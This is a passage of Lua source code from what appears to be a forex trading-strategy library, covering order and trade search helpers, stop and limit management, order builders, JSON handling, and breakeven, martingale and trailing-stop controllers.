if trade.StopOrderID ~= nil and trade.StopOrderID ~= "" then
order_id = trade.StopOrderID;
self:trace("Using stop order id from the trade");
elseif self._request_id[trade.TradeID] ~= nil then
self:trace("Searching stop order by request id: " .. tostring(self._request_id[trade.TradeID]));
local order = core.host:findTable("orders"):find("RequestID", self._request_id[trade.TradeID]);
if order ~= nil then
order_id = order.OrderID;
self._request_id[trade.TradeID] = nil;
end
end
-- Check that order is stil exist
if order_id ~= nil then return core.host:findTable("orders"):find("OrderID", order_id); end
else
local enum = core.host:findTable("orders"):enumerator();
local row = enum:next();
while (row ~= nil) do
if row.ContingencyType == 3 and self:IsStopOrderType(row.Type) and self._used_stop_orders[row.OrderID] ~= true then
self._used_stop_orders[row.OrderID] = true;
return row;
end
row = enum:next();
end
end
return nil;
end
function trading:MoveStop(trade, stop_rate, trailing)
local order = self:FindStopOrder(trade);
if order == nil then
if trailing == 0 then
trailing = nil;
end
return self:CreateStopOrder(trade, stop_rate, trailing);
else
if trailing == 0 then
if order.TrlMinMove ~= 0 then
trailing = order.TrlMinMove
else
trailing = nil;
end
end
return self:ChangeOrder(order, stop_rate, trailing);
end
end
function trading:MoveLimit(trade, limit_rate)
self:trace("Searching for a limit");
local order = self:FindLimitOrder(trade);
if order == nil then
self:trace("Limit order not found, creating a new one");
return self:CreateLimitOrder(trade, limit_rate);
else
return self:ChangeOrder(order, limit_rate);
end
end
function trading:RemoveStop(trade)
self:trace("Searching for a stop");
local order = self:FindStopOrder(trade);
if order == nil then self:trace("No stop"); return nil; end
self:trace("Deleting order");
return self:DeleteOrder(order);
end
function trading:RemoveLimit(trade)
self:trace("Searching for a limit");
local order = self:FindLimitOrder(trade);
if order == nil then self:trace("No limit"); return nil; end
self:trace("Deleting order");
return self:DeleteOrder(order);
end
function trading:DeleteOrder(order)
self:trace(string.format("Deleting order %s", order.OrderID));
local valuemap = core.valuemap();
valuemap.Command = "DeleteOrder";
valuemap.OrderID = order.OrderID;
local id = self:getId();
local success, msg = terminal:execute(id, valuemap);
if not(success) then
local message = "Delete order failed: " .. msg;
self:trace(message);
if self._signaler ~= nil then
self._signaler:Signal(message);
end
local res = {};
res.Finished = true;
res.Success = false;
res.Error = message;
return res;
end
local res = {};
res.Finished = false;
res.RequestID = msg;
self._waiting_requests[id] = res;
return res;
end
function trading:GetCustomID(qtxt)
if qtxt == nil then
return nil;
end
local metadata = self:GetMetadata(qtxt);
if metadata == nil then
return qtxt;
end
return metadata.CustomID;
end
function trading:FindOrder()
local search = {};
function search:WhenCustomID(custom_id) self.CustomID = custom_id; return self; end
function search:WhenSide(bs) self.Side = bs; return self; end
function search:WhenInstrument(instrument) self.Instrument = instrument; return self; end
function search:WhenAccountID(account_id) self.AccountID = account_id; return self; end
function search:WhenRate(rate) self.Rate = rate; return self; end
function search:WhenOrderType(orderType) self.OrderType = orderType; return self; end
function search:Do(action)
local enum = core.host:findTable("orders"):enumerator();
local row = enum:next();
local count = 0
while (row ~= nil) do
if self:PassFilter(row) then
if action(row) then
count = count + 1;
end
end
row = enum:next();
end
return count;
end
function search:Summ(action)
local enum = core.host:findTable("orders"):enumerator();
local row = enum:next();
local summ = 0
while (row ~= nil) do
if self:PassFilter(row) then
summ = summ + action(row);
end
row = enum:next();
end
return summ;
end
function search:PassFilter(row)
return (row.Instrument == self.Instrument or not self.Instrument)
and (row.BS == self.Side or not self.Side)
and (row.AccountID == self.AccountID or not self.AccountID)
and (trading:GetCustomID(row.QTXT) == self.CustomID or not self.CustomID)
and (row.Rate == self.Rate or not self.Rate)
and (row.Type == self.OrderType or not self.OrderType);
end
function search:All()
local enum = core.host:findTable("orders"):enumerator();
local row = enum:next();
local orders = {};
while (row ~= nil) do
if self:PassFilter(row) then orders[#orders + 1] = row; end
row = enum:next();
end
return orders;
end
function search:First()
local enum = core.host:findTable("orders"):enumerator();
local row = enum:next();
while (row ~= nil) do
if self:PassFilter(row) then return row; end
row = enum:next();
end
return nil;
end
return search;
end
function trading:FindTrade()
local search = {};
function search:WhenCustomID(custom_id) self.CustomID = custom_id; return self; end
function search:WhenSide(bs) self.Side = bs; return self; end
function search:WhenInstrument(instrument) self.Instrument = instrument; return self; end
function search:WhenAccountID(account_id) self.AccountID = account_id; return self; end
function search:WhenOpen(open) self.Open = open; return self; end
function search:WhenOpenOrderReqID(open_order_req_id) self.OpenOrderReqID = open_order_req_id; return self; end
function search:Do(action)
local enum = core.host:findTable("trades"):enumerator();
local row = enum:next();
local count = 0
while (row ~= nil) do
if self:PassFilter(row) then
if action(row) then
count = count + 1;
end
end
row = enum:next();
end
return count;
end
function search:Summ(action)
local enum = core.host:findTable("trades"):enumerator();
local row = enum:next();
local summ = 0
while (row ~= nil) do
if self:PassFilter(row) then
summ = summ + action(row);
end
row = enum:next();
end
return summ;
end
function search:PassFilter(row)
return (row.Instrument == self.Instrument or not self.Instrument)
and (row.BS == self.Side or not self.Side)
and (row.AccountID == self.AccountID or not self.AccountID)
and (trading:GetCustomID(row.QTXT) == self.CustomID or not self.CustomID)
and (row.Open == self.Open or not self.Open)
and (row.OpenOrderReqID == self.OpenOrderReqID or not self.OpenOrderReqID);
end
function search:All()
local enum = core.host:findTable("trades"):enumerator();
local row = enum:next();
local trades = {};
while (row ~= nil) do
if self:PassFilter(row) then trades[#trades + 1] = row; end
row = enum:next();
end
return trades;
end
function search:Any()
local enum = core.host:findTable("trades"):enumerator();
local row = enum:next();
while (row ~= nil) do
if self:PassFilter(row) then
return true;
end
row = enum:next();
end
return false;
end
function search:Count()
local enum = core.host:findTable("trades"):enumerator();
local row = enum:next();
local count = 0;
while (row ~= nil) do
if self:PassFilter(row) then count = count + 1; end
row = enum:next();
end
return count;
end
function search:First()
local enum = core.host:findTable("trades"):enumerator();
local row = enum:next();
while (row ~= nil) do
if self:PassFilter(row) then return row; end
row = enum:next();
end
return nil;
end
return search;
end
function trading:FindClosedTrade()
local search = {};
function search:WhenCustomID(custom_id) self.CustomID = custom_id; return self; end
function search:WhenSide(bs) self.Side = bs; return self; end
function search:WhenInstrument(instrument) self.Instrument = instrument; return self; end
function search:WhenAccountID(account_id) self.AccountID = account_id; return self; end
function search:WhenOpenOrderReqID(open_order_req_id) self.OpenOrderReqID = open_order_req_id; return self; end
function search:WhenTradeIDRemain(trade_id_remain) self.TradeIDRemain = trade_id_remain; return self; end
function search:WhenCloseOrderID(close_order_id) self.CloseOrderID = close_order_id; return self; end
function search:PassFilter(row)
if self.TradeIDRemain ~= nil and row.TradeIDRemain ~= self.TradeIDRemain then return false; end
if self.CloseOrderID ~= nil and row.CloseOrderID ~= self.CloseOrderID then return false; end
return (row.Instrument == self.Instrument or not self.Instrument)
and (row.BS == self.Side or not self.Side)
and (row.AccountID == self.AccountID or not self.AccountID)
and (trading:GetCustomID(row.QTXT) == self.CustomID or not self.CustomID)
and (row.OpenOrderReqID == self.OpenOrderReqID or not self.OpenOrderReqID);
end
function search:Any()
local enum = core.host:findTable("closed trades"):enumerator();
local row = enum:next();
while (row ~= nil) do
if self:PassFilter(row) then
return true;
end
row = enum:next();
end
return false;
end
function search:All()
local enum = core.host:findTable("closed trades"):enumerator();
local row = enum:next();
local trades = {};
while (row ~= nil) do
if self:PassFilter(row) then trades[#trades + 1] = row; end
row = enum:next();
end
return trades;
end
function search:First()
local enum = core.host:findTable("closed trades"):enumerator();
local row = enum:next();
while (row ~= nil) do
if self:PassFilter(row) then return row; end
row = enum:next();
end
return nil;
end
return search;
end
function trading:ParialClose(trade, amount)
-- not finished
local account = core.host:findTable("accounts"):find("AccountID", trade.AccountID);
local id = self:getId();
if account.Hedging == "Y" then
local valuemap = core.valuemap();
valuemap.BuySell = trade.BS == "B" and "S" or "B";
valuemap.OrderType = "CM";
valuemap.OfferID = trade.OfferID;
valuemap.AcctID = trade.AccountID;
valuemap.TradeID = trade.TradeID;
valuemap.Quantity = math.min(amount, trade.Lot);
local success, msg = terminal:execute(id, valuemap);
if success then
local res = trading:ClosePartialSuccessResult(msg);
self._waiting_requests[id] = res;
return res;
end
return trading:ClosePartialFailResult(msg);
end
local valuemap = core.valuemap();
valuemap.OrderType = "OM";
valuemap.OfferID = trade.OfferID;
valuemap.AcctID = trade.AccountID;
valuemap.Quantity = math.min(amount, trade.Lot);
valuemap.BuySell = trading:getOppositeSide(trade.BS);
local success, msg = terminal:execute(id, valuemap);
if success then
local res = trading:ClosePartialSuccessResult(msg);
self._waiting_requests[id] = res;
return res;
end
return trading:ClosePartialFailResult(msg);
end
function trading:ClosePartialSuccessResult(msg)
local res = {};
if msg ~= nil then res.Finished = false; else res.Finished = true; end
res.RequestID = msg;
function res:ToJSON()
return trading:ObjectToJson(self);
end
return res;
end
function trading:ClosePartialFailResult(message)
local res = {};
res.Finished = true;
res.Success = false;
res.Error = message;
return res;
end
function trading:Close(trade)
local valuemap = core.valuemap();
valuemap.BuySell = trade.BS == "B" and "S" or "B";
valuemap.OrderType = "CM";
valuemap.OfferID = trade.OfferID;
valuemap.AcctID = trade.AccountID;
valuemap.TradeID = trade.TradeID;
valuemap.Quantity = trade.Lot;
local success, msg = terminal:execute(self._ids_start + 3, valuemap);
if not(success) then
if self._signaler ~= nil then self._signaler:Signal("Close failed: " .. msg); end
return false;
end
return true;
end
function trading:ObjectToJson(obj)
local json = {};
function json:AddStr(name, value)
local separator = "";
if self.str ~= nil then separator = ","; else self.str = ""; end
self.str = self.str .. string.format("%s\"%s\":\"%s\"", separator, tostring(name), tostring(value));
end
function json:AddNumber(name, value)
local separator = "";
if self.str ~= nil then separator = ","; else self.str = ""; end
self.str = self.str .. string.format("%s\"%s\":%f", separator, tostring(name), value or 0);
end
function json:AddBool(name, value)
local separator = "";
if self.str ~= nil then separator = ","; else self.str = ""; end
self.str = self.str .. string.format("%s\"%s\":%s", separator, tostring(name), value and "true" or "false");
end
function json:AddTable(name, value)
local str = trading:ObjectToJson(value);
local separator = "";
if self.str ~= nil then separator = ","; else self.str = ""; end
self.str = self.str .. string.format("%s\"%s\":%s", separator, tostring(name), tostring(str));
end
function json:ToString() return "{" .. (self.str or "") .. "}"; end
local first = true;
for idx,t in pairs(obj) do
local stype = type(t)
if stype == "number" then json:AddNumber(idx, t);
elseif stype == "string" then json:AddStr(idx, t);
elseif stype == "boolean" then json:AddBool(idx, t);
elseif stype == "function" then --do nothing
elseif stype == "table" then json:AddTable(idx, t);
else core.host:trace(tostring(idx) .. " " .. tostring(stype));
end
end
return json:ToString();
end
function trading:CreateEntryOrderSuccessResult(msg)
local res = {};
if msg ~= nil then res.Finished = false; else res.Finished = true; end
res.RequestID = msg;
function res:IsOrderExecuted()
return self.FixStatus ~= nil and self.FixStatus == "F";
end
function res:GetOrder()
if self._order == nil then
self._order = core.host:findTable("orders"):find("RequestID", self.RequestID);
if self._order == nil then return nil; end
end
if not self._order:refresh() then return nil; end
return self._order;
end
function res:GetTrade()
if self._trade == nil then
self._trade = core.host:findTable("trades"):find("OpenOrderReqID", self.RequestID);
if self._trade == nil then return nil; end
end
if not self._trade:refresh() then return nil; end
return self._trade;
end
function res:GetClosedTrade()
if self._closed_trade == nil then
self._closed_trade = core.host:findTable("closed trades"):find("OpenOrderReqID", self.RequestID);
if self._closed_trade == nil then return nil; end
end
if not self._closed_trade:refresh() then return nil; end
return self._closed_trade;
end
function res:ToJSON()
return trading:ObjectToJson(self);
end
return res;
end
function trading:CreateEntryOrderFailResult(message)
local res = {};
res.Finished = true;
res.Success = false;
res.Error = message;
function res:GetOrder() return nil; end
function res:GetTrade() return nil; end
function res:GetClosedTrade() return nil; end
function res:IsOrderExecuted() return false; end
return res;
end
function trading:EntryOrder(instrument)
local builder = {};
builder.Offer = core.host:findTable("offers"):find("Instrument", instrument);
builder.Instrument = instrument;
builder.Parent = self;
builder.valuemap = core.valuemap();
builder.valuemap.Command = "CreateOrder";
builder.valuemap.OfferID = builder.Offer.OfferID;
builder.valuemap.AcctID = self._account;
function builder:_GetBaseUnitSize() if self._base_size == nil then self._base_size = core.host:execute("getTradingProperty", "baseUnitSize", self.Instrument, self.valuemap.AcctID); end return self._base_size; end
function builder:SetAccountID(accountID) self.valuemap.AcctID = accountID; return self; end
function builder:SetAmount(amount) self.valuemap.Quantity = amount * self:_GetBaseUnitSize(); return self; end
function builder:SetPercentOfEquityAmount(percent) self._PercentOfEquityAmount = percent; return self; end
function builder:UpdateOrderType()
if self.valuemap.BuySell == nil or self.valuemap.Rate == nil then
return;
end
if self.valuemap.BuySell == "B" then
self.valuemap.OrderType = self.Offer.Ask > self.valuemap.Rate and "LE" or "SE";
else
self.valuemap.OrderType = self.Offer.Bid > self.valuemap.Rate and "SE" or "LE";
end
end
function builder:SetSide(buy_sell)
self.valuemap.BuySell = buy_sell;
self:UpdateOrderType();
return self;
end
function builder:SetRate(rate)
self.valuemap.Rate = rate;
self:UpdateOrderType();
return self;
end
function builder:SetPipLimit(limit_type, limit) self.valuemap.PegTypeLimit = limit_type or "M"; self.valuemap.PegPriceOffsetPipsLimit = self.valuemap.BuySell == "B" and limit or -limit; return self; end
function builder:SetLimit(limit) self.valuemap.RateLimit = limit; return self; end
function builder:SetPipStop(stop_type, stop, trailing_stop) self.valuemap.PegTypeStop = stop_type or "O"; self.valuemap.PegPriceOffsetPipsStop = self.valuemap.BuySell == "B" and -stop or stop; self.valuemap.TrailStepStop = trailing_stop; return self; end
function builder:SetStop(stop, trailing_stop) self.valuemap.RateStop = stop; self.valuemap.TrailStepStop = trailing_stop; return self; end
function builder:UseDefaultCustomId() self.valuemap.CustomID = self.Parent.CustomID; return self; end
function builder:SetCustomID(custom_id) self.valuemap.CustomID = custom_id; return self; end
function builder:GetValueMap() return self.valuemap; end
function builder:AddMetadata(id, val) if self._metadata == nil then self._metadata = {}; end self._metadata[id] = val; return self; end
function builder:Execute()
local desc = string.format("Creating %s %s for %s at %f", self.valuemap.BuySell, self.valuemap.OrderType, self.Instrument, self.valuemap.Rate);
if self._metadata ~= nil then
self._metadata.CustomID = self.valuemap.CustomID;
self.valuemap.CustomID = trading:ObjectToJson(self._metadata);
end
if self.valuemap.RateStop ~= nil then
desc = desc .. " stop " .. self.valuemap.RateStop;
end
if self.valuemap.RateLimit ~= nil then
desc = desc .. " limit " .. self.valuemap.RateLimit;
end
self.Parent:trace(desc);
if self._PercentOfEquityAmount ~= nil then
local equity = core.host:findTable("accounts"):find("AccountID", self.valuemap.AcctID).Equity;
local affordable_loss = equity * self._PercentOfEquityAmount / 100.0;
local stop = math.abs(self.valuemap.RateStop - self.valuemap.Rate) / self.Offer.PointSize;
local possible_loss = self.Offer.PipCost * stop;
self.valuemap.Quantity = math.floor(affordable_loss / possible_loss) * self:_GetBaseUnitSize();
end
for _, module in pairs(self.Parent._all_modules) do
if module.BlockOrder ~= nil and module:BlockOrder(self.valuemap) then
self.Parent:trace("Creation of order blocked by " .. module.Name);
return trading:CreateEntryOrderFailResult("Creation of order blocked by " .. module.Name);
end
end
for _, module in pairs(self.Parent._all_modules) do
if module.OnOrder ~= nil then module:OnOrder(self.valuemap); end
end
local id = self.Parent:getId();
local success, msg = terminal:execute(id, self.valuemap);
if not(success) then
local message = "Open order failed: " .. msg;
self.Parent:trace(message);
if self.Parent._signaler ~= nil then self.Parent._signaler:Signal(message); end
return trading:CreateEntryOrderFailResult(message);
end
local res = trading:CreateEntryOrderSuccessResult(msg);
self.Parent._waiting_requests[id] = res;
return res;
end
return builder;
end
function trading:StoreMarketOrderResults(res)
local str = "[";
for i, t in ipairs(res) do
local json = t:ToJSON();
if str == "[" then str = str .. json; else str = str .. "," .. json; end
end
return str .. "]";
end
function trading:RestoreMarketOrderResults(str)
local results = {};
local position = 2;
local result;
while (position < str:len()) do
local ch = string.sub(str, position, position);
if ch == "{" then
result = trading:CreateMarketOrderSuccessResult();
position = position + 1;
elseif ch == "}" then
results[#results + 1] = result;
result = nil;
position = position + 1;
elseif ch == "," then
position = position + 1;
else
local name, value = string.match(str, '"([^"]+)":("?[^,}]+"?)', position);
if value == "false" then
result[name] = false;
position = position + name:len() + 8;
elseif value == "true" then
result[name] = true;
position = position + name:len() + 7;
else
if string.sub(value, 1, 1) == "\"" then
result[name] = value;
value:sub(2, value:len() - 1);
position = position + name:len() + 3 + value:len();
else
result[name] = tonumber(value);
position = position + name:len() + 3 + value:len();
end
end
end
end
return results;
end
function trading:CreateMarketOrderSuccessResult(msg)
local res = {};
if msg ~= nil then res.Finished = false; else res.Finished = true; end
res.RequestID = msg;
function res:GetTrade()
if self._trade == nil then
self._trade = core.host:findTable("trades"):find("OpenOrderReqID", self.RequestID);
if self._trade == nil then return nil; end
end
if not self._trade:refresh() then return nil; end
return self._trade;
end
function res:GetClosedTrade()
if self._closed_trade == nil then
self._closed_trade = core.host:findTable("closed trades"):find("OpenOrderReqID", self.RequestID);
if self._closed_trade == nil then return nil; end
end
if not self._closed_trade:refresh() then return nil; end
return self._closed_trade;
end
function res:ToJSON()
local json = {};
function json:AddStr(name, value)
local separator = "";
if self.str ~= nil then separator = ","; else self.str = ""; end
self.str = self.str .. string.format("%s\"%s\":\"%s\"", separator, tostring(name), tostring(value));
end
function json:AddNumber(name, value)
local separator = "";
if self.str ~= nil then separator = ","; else self.str = ""; end
self.str = self.str .. string.format("%s\"%s\":%f", separator, tostring(name), value or 0);
end
function json:AddBool(name, value)
local separator = "";
if self.str ~= nil then separator = ","; else self.str = ""; end
self.str = self.str .. string.format("%s\"%s\":%s", separator, tostring(name), value and "true" or "false");
end
function json:ToString() return "{" .. (self.str or "") .. "}"; end
local first = true;
for idx,t in pairs(self) do
local stype = type(t)
if stype == "number" then json:AddNumber(idx, t);
elseif stype == "string" then json:AddStr(idx, t);
elseif stype == "boolean" then json:AddBool(idx, t);
elseif stype == "function" or stype == "table" then --do nothing
else core.host:trace(tostring(idx) .. " " .. tostring(stype));
end
end
return json:ToString();
end
return res;
end
function trading:CreateMarketOrderFailResult(message)
local res = {};
res.Finished = true;
res.Success = false;
res.Error = message;
function res:GetTrade() return nil; end
return res;
end
function trading:MarketOrder(instrument)
local builder = {};
local offer = core.host:findTable("offers"):find("Instrument", instrument);
builder.Instrument = instrument;
builder.Parent = self;
builder.valuemap = core.valuemap();
builder.valuemap.Command = "CreateOrder";
builder.valuemap.OrderType = "OM";
builder.valuemap.OfferID = offer.OfferID;
builder.valuemap.AcctID = self._account;
function builder:SetAccountID(accountID) self.valuemap.AcctID = accountID; return self; end
function builder:SetAmount(amount) self._amount = amount; return self; end
function builder:SetSide(buy_sell) self.valuemap.BuySell = buy_sell; return self; end
function builder:SetPipLimit(limit_type, limit)
self.valuemap.PegTypeLimit = limit_type or "O";
self.valuemap.PegPriceOffsetPipsLimit = self.valuemap.BuySell == "B" and limit or -limit;
return self;
end
function builder:SetLimit(limit) self.valuemap.RateLimit = limit; return self; end
function builder:SetPipStop(stop_type, stop, trailing_stop)
self.valuemap.PegTypeStop = stop_type or "O";
self.valuemap.PegPriceOffsetPipsStop = self.valuemap.BuySell == "B" and -stop or stop;
self.valuemap.TrailStepStop = trailing_stop;
return self;
end
function builder:SetStop(stop, trailing_stop) self.valuemap.RateStop = stop; self.valuemap.TrailStepStop = trailing_stop; return self; end
function builder:SetCustomID(custom_id) self.valuemap.CustomID = custom_id; return self; end
function builder:GetValueMap() return self.valuemap; end
function builder:AddMetadata(id, val) if self._metadata == nil then self._metadata = {}; end self._metadata[id] = val; return self; end
function builder:FillFields()
local base_size = core.host:execute("getTradingProperty", "baseUnitSize", self.Instrument, self.valuemap.AcctID);
self.valuemap.Quantity = self._amount * base_size;
if self._metadata ~= nil then
self._metadata.CustomID = self.valuemap.CustomID;
self.valuemap.CustomID = trading:ObjectToJson(self._metadata);
end
end
function builder:Execute()
self.Parent:trace(string.format("Creating %s OM for %s", self.valuemap.BuySell, self.Instrument));
self:FillFields();
local id = self.Parent:getId();
local success, msg = terminal:execute(id, self.valuemap);
if not(success) then
local message = "Open order failed: " .. msg;
self.Parent:trace(message);
if self.Parent._signaler ~= nil then
self.Parent._signaler:Signal(message);
end
return trading:CreateMarketOrderFailResult(message);
end
local res = trading:CreateMarketOrderSuccessResult(msg);
self.Parent._waiting_requests[id] = res;
return res;
end
return builder;
end
function trading:ReadValue(json, position)
local whaitFor = "";
local start = position;
while (position < json:len() + 1) do
local ch = string.sub(json, position, position);
position = position + 1;
if ch == "\"" then
start = position - 1;
whaitFor = ch;
break;
elseif ch == "{" then
start = position - 1;
whaitFor = "}";
break;
elseif ch == "," or ch == "}" then
return string.sub(json, start, position - 2), position - 1;
end
end
while (position < json:len() + 1) do
local ch = string.sub(json, position, position);
position = position + 1;
if ch == whaitFor then
return string.sub(json, start, position - 1), position;
end
end
return "", position;
end
function trading:JsonToObject(json)
local position = 1;
local result;
local results;
while (position < json:len() + 1) do
local ch = string.sub(json, position, position);
if ch == "{" then
result = {};
position = position + 1;
elseif ch == "}" then
if results ~= nil then
position = position + 1;
results[#results + 1] = result;
else
return result;
end
elseif ch == "," then
position = position + 1;
elseif ch == "[" then
position = position + 1;
results = {};
elseif ch == "]" then
return results;
else
if result == nil then
return nil;
end
local name = string.match(json, '"([^"]+)":', position);
local value, new_pos = trading:ReadValue(json, position + name:len() + 3);
position = new_pos;
if value == "false" then
result[name] = false;
elseif value == "true" then
result[name] = true;
else
if string.sub(value, 1, 1) == "\"" then
result[name] = value;
value:sub(2, value:len() - 1);
elseif string.sub(value, 1, 1) == "{" then
result[name] = trading:JsonToObject(value);
else
result[name] = tonumber(value);
end
end
end
end
return nil;
end
function trading:GetMetadata(qtxt)
if qtxt == "" then
return nil;
end
local position = 1;
local result;
while (position < qtxt:len() + 1) do
local ch = string.sub(qtxt, position, position);
if ch == "{" then
result = {};
position = position + 1;
elseif ch == "}" then
return result;
elseif ch == "," then
position = position + 1;
else
if result == nil then
return nil;
end
local name, value = string.match(qtxt, '"([^"]+)":("?[^,}]+"?)', position);
if value == "false" then
result[name] = false;
position = position + name:len() + 8;
elseif value == "true" then
result[name] = true;
position = position + name:len() + 7;
else
if string.sub(value, 1, 1) == "\"" then
result[name] = value;
value:sub(2, value:len() - 1);
position = position + name:len() + 3 + value:len();
else
result[name] = tonumber(value);
position = position + name:len() + 3 + value:len();
end
end
end
end
return nil;
end
function trading:GetTradeMetadata(trade)
return self:GetMetadata(trade.QTXT);
end
trading:RegisterModule(Modules);
breakeven = {};
-- public fields
breakeven.Name = "Breakeven";
breakeven.Version = "1.17";
breakeven.Debug = false;
--private fields
breakeven._moved_stops = {};
breakeven._request_id = nil;
breakeven._used_stop_orders = {};
breakeven._ids_start = nil;
breakeven._trading = nil;
breakeven._controllers = {};
function breakeven:trace(str) if not self.Debug then return; end core.host:trace(self.Name .. ": " .. str); end
function breakeven:OnNewModule(module)
if module.Name == "Trading" then self._trading = module; end
if module.Name == "Tables monitor" then
module:ListenCloseTrade(BreakevenOnClosedTrade);
end
end
function BreakevenOnClosedTrade(closed_trade)
for _, controller in ipairs(breakeven._controllers) do
if controller.TradeID == closed_trade.TradeID then
controller._trade = core.host:findTable("trades"):find("TradeID", closed_trade.TradeIDRemain);
elseif controller.TradeID == closed_trade.TradeIDRemain then
controller._executed = true;
controller._close_percent = nil;
end
end
end
function breakeven:RegisterModule(modules) for _, module in pairs(modules) do self:OnNewModule(module); module:OnNewModule(self); end modules[#modules + 1] = self; self._ids_start = (#modules) * 100; end
function breakeven:Init(parameters)
end
function breakeven:Prepare(nameOnly)
end
function breakeven:ExtUpdate(id, source, period)
for _, controller in ipairs(self._controllers) do
controller:DoBreakeven();
end
end
function breakeven:round(num, idp)
if idp and idp > 0 then
local mult = 10 ^ idp
return math.floor(num * mult + 0.5) / mult
end
return math.floor(num + 0.5)
end
function breakeven:CreateBaseController()
local controller = {};
controller._parent = self;
controller._executed = false;
function controller:SetTrade(trade)
self._trade = trade;
self.TradeID = trade.TradeID;
return self;
end
function controller:GetOffer()
if self._offer == nil then
local order = self:GetOrder();
if order == nil then
order = self:GetTrade();
end
self._offer = core.host:findTable("offers"):find("Instrument", order.Instrument);
end
return self._offer;
end
function controller:SetRequestID(trade_request_id)
self._request_id = trade_request_id;
return self;
end
function controller:GetOrder()
if self._order == nil then
self._order = core.host:findTable("orders"):find("RequestID", self._request_id);
end
return self._order;
end
function controller:GetTrade()
if self._trade == nil then
self._trade = core.host:findTable("trades"):find("OpenOrderReqID", self._request_id);
if self._trade == nil then
return nil;
end
self._initial_limit = self._trade.Limit;
self._initial_stop = self._trade.Stop;
end
return self._trade;
end
return controller;
end
function breakeven:CreateMartingale()
local controller = self:CreateBaseController();
function controller:SetStep(step)
self._step = step;
return self;
end
function controller:SetLotSizingValue(martingale_lot_sizing_val)
self._martingale_lot_sizing_val = martingale_lot_sizing_val;
return self;
end
function controller:SetStop(Stop)
self._martingale_stop = Stop;
return self;
end
function controller:SetLimit(Limit)
self._martingale_limit = Limit;
return self;
end
function controller:DoBreakeven()
if self._executed then
return false;
end
local trade = self:GetTrade();
if trade == nil then
return true;
end
if not trade:refresh() then
self._executed = true;
return false;
end
if self._current_lot == nil then
self._current_lot = trade.AmountK;
end
if trade.BS == "B" then
local movement = (instance.ask[NOW] - trade.Open) / instance.bid:pipSize();
if movement <= -self._step then
self._current_lot = self._current_lot * self._martingale_lot_sizing_val;
local result = trading:MarketOrder(trade.Instrument)
:SetSide("S")
:SetAccountID(trade.AccountID)
:SetAmount(math.floor(self._current_lot + 0.5))
:SetCustomID(CustomID)
:Execute();
self._trade = nil;
self:SetRequestID(result.RequestID);
Signal("Opening martingale position (S)");
return true;
end
else
local movement = (trade.Open - instance.bid[NOW]) / instance.bid:pipSize();
if movement <= -self._step then
self._current_lot = self._current_lot * self._martingale_lot_sizing_val;
local result = trading:MarketOrder(trade.Instrument)
:SetSide("B")
:SetAccountID(trade.AccountID)
:SetAmount(math.floor(self._current_lot + 0.5))
:SetCustomID(CustomID)
:Execute();
self._trade = nil;
self:SetRequestID(result.RequestID);
Signal("Opening martingale position (B)");
return true;
end
end
self:UpdateStopLimits();
return true;
end
function controller:UpdateStopLimits()
local trade = self:GetTrade();
if trade == nil then
return;
end
local offer = self:GetOffer();
local bAmount = 0;
local bPriceSumm = 0;
local sAmount = 0;
local sPriceSumm = 0;
trading:FindTrade()
:WhenCustomID(CustomID)
:Do(function (trade)
if trade.BS == "B" then
bAmount = bAmount + trade.AmountK
bPriceSumm = bPriceSumm + trade.Open * trade.AmountK;
else
sAmount = sAmount + trade.AmountK
sPriceSumm = sPriceSumm + trade.Open * trade.AmountK;
end
end);
local avgBPrice = bPriceSumm / bAmount;
local avgSPrice = sPriceSumm / sAmount;
local totalAmount = bAmount + sAmount;
local avgPrice = avgBPrice * (bAmount / totalAmount) + avgSPrice * (sAmount / totalAmount);
local stopPrice, limitPrice;
if trade.BS == "B" then
stopPrice = avgPrice - self._martingale_stop * offer.PointSize;
limitPrice = avgPrice + self._martingale_stop * offer.PointSize;
if instance.bid[NOW] <= stopPrice or instance.bid[NOW] >= limitPrice then
local it = trading:FindTrade():WhenCustomID(CustomID)
it:Do(function (trade) trading:Close(trade); end);
Signal("Closing all positions");
self._executed = true;
end
else
stopPrice = avgPrice + self._martingale_stop * offer.PointSize;
limitPrice = avgPrice - self._martingale_stop * offer.PointSize;
if instance.ask[NOW] >= stopPrice or instance.ask[NOW] <= limitPrice then
local it = trading:FindTrade():WhenCustomID(CustomID)
it:Do(function (trade) trading:Close(trade); end);
Signal("Closing all positions");
self._executed = true;
end
end
end
self._controllers[#self._controllers + 1] = controller;
return controller;
end
breakeven.STOP_ID = 1;
breakeven.LIMIT_ID = 2;
function breakeven:CreateOrderTrailingController()
local controller = self:CreateBaseController();
function controller:SetTrailingTarget(id)
self._target_id = id;
return self;
end
function controller:MoveUpOnly()
self._up_only = true;
return self;
end
function controller:SetIndicatorStream(stream, multiplicator, is_distance)
self._stream = stream;
self._stream_in_distance = is_distance;
self._stream_multiplicator = multiplicator;
return self;
end
function controller:SetIndicatorStreamShift(x, y)
self._stream_x_shift = x;
self._stream_y_shift = y;
return self;
end
function controller:DoBreakeven()
if self._executed then
return false;
end
local order = self:GetOrder();
if order == nil or (self._move_command ~= nil and not self._move_command.Finished) then
return true;
end
if not order:refresh() then
self._executed = true;
return false;
end
local streamPeriod = NOW;
if self._stream_x_shift ~= nil then
streamPeriod = streamPeriod - self._stream_x_shift;
end
if not self._stream:hasData(streamPeriod) then
return true;
end
return self:DoOrderTrailing(order, streamPeriod);
end
function controller:DoOrderTrailing(order, streamPeriod)
local new_level;
local offer = self:GetOffer();
if self._stream_in_distance then
local tick = self._stream:tick(streamPeriod) * self._stream_multiplicator;
if self._stream_y_shift ~= nil then
tick = tick + self._stream_y_shift * offer.PointSize;
end
if order.BS == "B" then
new_level = breakeven:round(offer.Bid + tick, offer.Digits);
else
new_level = breakeven:round(offer.Ask - tick, offer.Digits);
end
else
local tick = self._stream:tick(streamPeriod);
if self._stream_y_shift ~= nil then
if order.BS == "B" then
tick = tick - self._stream_y_shift * offer.PointSize;
else
tick = tick + self._stream_y_shift * offer.PointSize;
end
end
new_level = breakeven:round(tick, offer.Digits);
end
if self._up_only then
if order.BS == "B" then
if order.Rate >= new_level then
return true;
end
else
if order.Rate <= new_level then
return true;
end
end
end
if self._min_profit ~= nil then
if order.BS == "B" then
if (offer.Bid - new_level) / offer.PointSize < self._min_profit then
return true;
end
else
if (new_level - offer.Ask) / offer.PointSize < self._min_profit then
return true;
end
end
end
if order.Rate ~= new_level then
self._move_command = self._parent._trading:ChangeOrder(order, new_level, order.TrlMinMove);
end
end
self._controllers[#self._controllers + 1] = controller;
return controller;
end
function breakeven:CreateIndicatorTrailingController()
local controller = self:CreateBaseController();
function controller:SetTrailingTarget(id)
self._target_id = id;
return self;
end
